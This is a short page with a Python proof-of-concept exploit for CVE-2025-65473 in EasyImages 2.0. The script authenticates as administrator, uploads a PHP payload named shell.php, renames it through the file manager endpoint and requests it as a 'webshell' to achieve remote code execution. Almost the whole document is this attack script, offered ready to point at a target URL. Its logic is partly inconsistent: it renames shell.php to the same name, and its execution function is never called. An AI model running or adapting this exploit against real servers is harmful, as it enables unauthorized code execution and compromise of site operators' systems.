CVE-2025-65473 EasyImages 2.0 任意文件重命名导致远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-65473 PoC - EasyImages 2.0 Arbitrary File Rename to RCE Requirements: requests, authentication with admin credentials """ import requests import re import sys target_url = "http://target.com/easyimages" admin_user = "admin" admin_pass = "password" session = requests.Session() def login(): """Step 1: Authenticate as administrator""" login_url = f"{target_url}/admin/login.php" data = { 'username': admin_user, 'password': admin_pass } response = session.post(login_url, data=data) return 'login' not in response.url.lower() def upload_legit_image(): """Step 2: Upload a legitimate image file with PHP payload in filename""" upload_url = f"{target_url}/admin/filer.php?act=upload" files = { 'file': ('shell.php', b'<?php phpinfo(); ?>', 'image/jpeg') } response = session.post(upload_url, files=files) return response.text def rename_file_to_php(file_id, new_name): """Step 3: Rename the uploaded file to .php extension""" rename_url = f"{target_url}/admin/filer.php?act=rename" data = { 'id': file_id, 'newname': new_name, 'path': '/uploads/' } response = session.post(rename_url, data=data) return response.json() def execute_rce(): """Step 4: Execute the renamed PHP file via HTTP request""" webshell_url = f"{target_url}/uploads/shell.php" response = session.get(webshell_url) return response.text if __name__ == "__main__": print("[*] CVE-2025-65473 EasyImages 2.0 RCE PoC") if login(): print("[+] Login successful") upload_result = upload_legit_image() print(f"[+] File uploaded: {upload_result}") # Extract file ID and rename file_id = re.search(r'id=(\d+)', upload_result).group(1) rename_file_to_php(file_id, 'shell.php') print("[+] File renamed to shell.php") print("[+] Executing shell at:", f"{target_url}/uploads/shell.php") else: print("[-] Login failed")